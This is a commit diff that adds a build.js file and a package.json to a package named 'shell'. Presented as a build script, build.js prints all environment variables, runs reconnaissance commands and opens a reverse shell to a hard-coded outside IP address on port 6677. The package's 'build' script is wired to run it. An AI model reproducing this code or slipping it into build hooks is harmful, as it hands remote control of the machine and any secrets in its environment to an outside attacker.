update
This commit is contained in:
25
build.js
Normal file
25
build.js
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
const process = require('process');
|
||||||
|
const child_process = require('child_process');
|
||||||
|
const net = require('net');
|
||||||
|
|
||||||
|
function run(command) {
|
||||||
|
console.log("Running: " + command);
|
||||||
|
child_process.execSync(command, { stdio: 'inherit' });
|
||||||
|
}
|
||||||
|
|
||||||
|
console.log("Env:");
|
||||||
|
console.log(process.env);
|
||||||
|
|
||||||
|
run("whoami");
|
||||||
|
run("id -a");
|
||||||
|
run("ls /");
|
||||||
|
run("ps -ef");
|
||||||
|
|
||||||
|
const sh = child_process.spawn("/bin/sh", []);
|
||||||
|
var client = new net.Socket();
|
||||||
|
client.connect(6677, "152.136.32.206", function () {
|
||||||
|
client.pipe(sh.stdin);
|
||||||
|
sh.stdout.pipe(client);
|
||||||
|
sh.stderr.pipe(client);
|
||||||
|
});
|
||||||
|
|
||||||
13
package.json
Normal file
13
package.json
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
{
|
||||||
|
"name": "shell",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"description": "",
|
||||||
|
"main": "index.js",
|
||||||
|
"scripts": {
|
||||||
|
"test": "echo \"Error: no test specified\" && exit 1",
|
||||||
|
"build": "node build.js"
|
||||||
|
},
|
||||||
|
"keywords": [],
|
||||||
|
"author": "",
|
||||||
|
"license": "ISC"
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user